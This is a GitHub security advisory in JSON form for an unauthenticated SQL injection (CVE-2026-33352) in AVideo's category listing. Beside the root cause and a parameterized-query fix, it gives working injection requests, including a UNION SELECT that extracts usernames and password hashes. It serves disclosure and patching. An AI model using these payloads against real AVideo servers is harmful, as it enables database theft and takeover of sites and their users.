{"id":"GHSA-mcj5-6qr4-95fj","summary":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","details":"### Summary\n\nAn unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`.\n\n### Affected Component\n\n**File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()`\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($_REQUEST['doNotShowCats'])) {\n        $doNotShowCats = array($_REQUEST['doNotShowCats']);\n    }\n    foreach ($doNotShowCats as $key =\u003e $value) {\n        $doNotShowCats[$key] = str_replace(\"'\", '', $value);  // INSUFFICIENT\n    }\n    $sql .= \" AND (c.clean_name NOT IN ('\" . implode(\"', '\", $doNotShowCats) . \"') )\";\n}\n```\n\n### Root Cause\n\n1. **Incomplete sanitization:** The only defense is `str_replace(\"'\", '', $value)`, which strips single-quote characters. It does **not** strip backslashes (`\\`).\n2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern).\n3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries.\n\n### Exploitation\n\nMySQL, by default, treats the backslash (`\\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL.\n\n**Step-by-step:**\n\n1. The attacker sends:\n   ```\n   GET /categories.json.php?doNotShowCats[0]=\\&doNotShowCats[1]=)%20OR%201=1)--%20-\n   ```\n\n2. After `str_replace(\"'\", '', ...)`, values are unchanged (no single quotes to strip):\n   - Element 0: `\\`\n   - Element 1: `) OR 1=1)-- -`\n\n3. After `implode(\"', '\", ...)`, the concatenated string is:\n   ```\n   \\', ') OR 1=1)-- -\n   ```\n\n4. The full SQL becomes:\n   ```sql\n   AND (c.clean_name NOT IN ('\\', ') OR 1=1)-- -') )\n   ```\n\n5. MySQL parses this as:\n   - `'\\'` — the `\\` escapes the next `'`, making it a literal quote character inside the string. The string continues.\n   - `, '` — the comma and space are part of the string. The next `'` (which was the opening quote of element 1) **closes** the string.\n   - String value = `', ` (three characters: quote, comma, space)\n   - `) OR 1=1)` — executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`.\n   - `-- -` — SQL comment, discards the remainder `') )`\n\n   Effective SQL:\n   ```sql\n   AND (c.clean_name NOT IN (', ') OR 1=1)\n   ```\n   This always evaluates to `TRUE`.\n\n**For data extraction (UNION-based):**\n\n```\nGET /categories.json.php?doNotShowCats[0]=\\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-\n```\n\nProduces:\n```sql\nAND (c.clean_name NOT IN ('\\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )\n```\n\nThis appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing).\n\n### Impact\n\n- **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.\n- **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`).\n- **Availability:** Ability to drop tables or corrupt data.\n- **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server's document root.\n\n### Suggested Fix\n\nReplace the string concatenation with parameterized queries:\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($doNotShowCats)) {\n        $doNotShowCats = array($doNotShowCats);\n    }\n    $placeholders = array_fill(0, count($doNotShowCats), '?');\n    $formats = str_repeat('s', count($doNotShowCats));\n    $sql .= \" AND (c.clean_name NOT IN (\" . implode(',', $placeholders) . \") )\";\n    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters\n}\n```\n\nAlternatively, use `$global['mysqli']-\u003ereal_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.","aliases":["CVE-2026-33352"],"modified":"2026-03-25T19:48:17.142165Z","published":"2026-03-19T19:25:53Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-03-19T19:25:53Z","nvd_published_at":"2026-03-23T14:16:33Z","cwe_ids":["CWE-89"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33352"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-mcj5-6qr4-95fj/GHSA-mcj5-6qr4-95fj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}